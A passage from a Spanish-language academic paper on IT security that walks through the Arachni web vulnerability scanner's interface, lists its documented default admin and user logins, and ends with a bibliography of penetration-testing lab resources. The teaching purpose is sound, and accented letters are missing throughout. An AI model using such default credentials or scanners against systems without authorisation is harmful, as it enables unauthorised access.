Al ingresar al sistema, se solicitar un usuario y contrasea. Los usuarios por defecto se
encuentran documentados en el archivo README. En la versin utilizada para este
documento, estos son:

Administrator:

E-mail address: admin@admin.admin

Password: administrator

User:

E-mail address: user@user.user

Password: regular_user

En el Web GUI se puede realizar la configuracin de los plugins y mdulos de arachni,

as como revisar los RPC activos, visualizar reportes de escaneos previos e iniciar uno nuevo:

Control y Seguridad de Tecnologa de Informacin

Pgina 30 de 32

Una vez iniciado un escaneo, se muestra en pantalla el estado del mismo, el
porcentaje de avance, y las pruebas realizadas. Concluido el escaneo, Arachni permite la
generacin de reportes en diferentes formatos, e inclusive la generacin de grficas en
conjunto con informacin detallada de las vulnerabilidades encontradas:

Bibliografa

http://sourceforge.net/projects/samurai/ - SamuraiWTF

https://www.owasp.org/index.php/Category:OWASP_WebGoat_Project - WebGoat

http://revista.seguridad.unam.mx/numero-12/la-importancia-de-las-pruebas-de-
penetraci%C3%B3n-parte-i - Revista de seguridad de la UNAM

Control y Seguridad de Tecnologa de Informacin

Pgina 31 de 32
http://redyseguridad.fi-p.unam.mx/proyectos/tsi/capi/Cap3.html#42 - Tutorial de
Seguridad Informtica, UNAM

https://www.owasp.org - OWASP

http://arachni-scanner.com/ - Arachni

http://tamperdata.mozdev.org Tamper data

Control y Seguridad de Tecnologa de Informacin

Pgina 32 de 32